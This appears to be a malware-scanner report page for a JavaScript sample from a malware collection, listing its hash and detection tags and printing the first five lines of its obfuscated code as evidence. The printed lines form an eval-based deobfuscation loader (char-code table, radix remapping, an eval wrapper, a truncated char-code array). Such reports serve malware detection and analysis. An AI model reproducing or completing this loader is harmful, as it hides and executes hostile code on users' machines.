Suspicious ^80% javascript-malware-collection Download

b904500f507828206b780db205520cf18e1b51eceae6e103938c780d36a10b18.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256b904500f507828206b780db205520cf18e1b51eceae6e103938c780d36a10b18

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var QwfzHwxwLolmN=[];for(FWRtrDF=(-765+765)/518;FWRtrDF<(114027+661)/896;FWRtrDF++){QwfzHwxwLolmN[FWRtrDF]=String.fromCharCode(FWRtrDF)}function JTelG(UwaxOLmDJST,lEfmDLhkCcqDQ,XsmWGnzX){Xplp=parseInt(UwaxOLmDJST,lEfmDLhkCcqDQ);YhnBq=Xplp.toString(XsmWGnzX);return YhnBq;}function wRNvWpTzQkVBdDs(HGizVqnGGXpbJUIbF){eval(HGizVqnGGXpbJUIbF)}
2function aMEPYbPlhOHxQSkLWjPWuLnrDIZWGGpaovQMRaMUZhukQoZKhqNgul(XKACtVXSUsGeW,WIqKZOjVSRivhU){ return QwfzHwxwLolmN[JTelG(XKACtVXSUsGeW[WIqKZOjVSRivhU],(913+57)/97,(5444+756)/620)];}
3function SdRVeDi(vBeLNVKIeEJRGXFOOLcvkOXCXjRDDJwgONxt) {return !isNaN(parseFloat(vBeLNVKIeEJRGXFOOLcvkOXCXjRDDJwgONxt)) && isFinite(vBeLNVKIeEJRGXFOOLcvkOXCXjRDDJwgONxt);}
4function ETLyaSrPxCW(WnMFEzIb,pLtDia){return WnMFEzIb.split(pLtDia)}
5var V=[];V.push("13");V.push("10");V.push("13");V.push("10");V.push("118");V.push("97");V.push("114");V.push("32");V. …